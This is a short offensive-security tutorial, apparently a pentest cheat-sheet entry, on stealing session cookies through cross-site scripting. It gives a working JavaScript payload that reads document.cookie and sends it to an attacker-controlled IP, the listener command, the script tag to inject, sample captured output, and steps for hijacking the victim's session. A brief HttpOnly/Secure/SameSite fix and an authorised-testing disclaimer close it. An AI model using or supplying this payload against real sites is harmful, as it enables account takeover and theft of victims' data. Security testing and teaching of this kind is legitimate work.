XSS — Stealing Session Cookies
The Attack
If HttpOnly is not set on session cookies, JavaScript can read them via document.cookie. This payload grabs the cookie and sends it to your server.
Step-by-Step
Step 1 — Create xss.js on your attack machine:
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://192.168.XX.XX/exfil?data=" + encodedCookie)
Step 2 — Start your listener:
python3 -m http.server 80
Step 3 — Submit the injection:
<script src="http://192.168.XX.XX/xss.js"></script>
What You Receive
GET /exfil?data=PHPSESSID%3Dabc123xyz456%3B%20other%3Dvalue HTTP/1.1
Decode the URL-encoded string and you have the victim’s raw session ID. Drop it into your browser via DevTools and you’re authenticated as them.
Impact
Full session takeover — access anything the victim can access: profile, saved payment methods, admin functions.
Fix: Set
HttpOnly flag on all session cookies — this makes cookies inaccessible to JavaScript entirely. Also set Secure and SameSite=Strict.All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.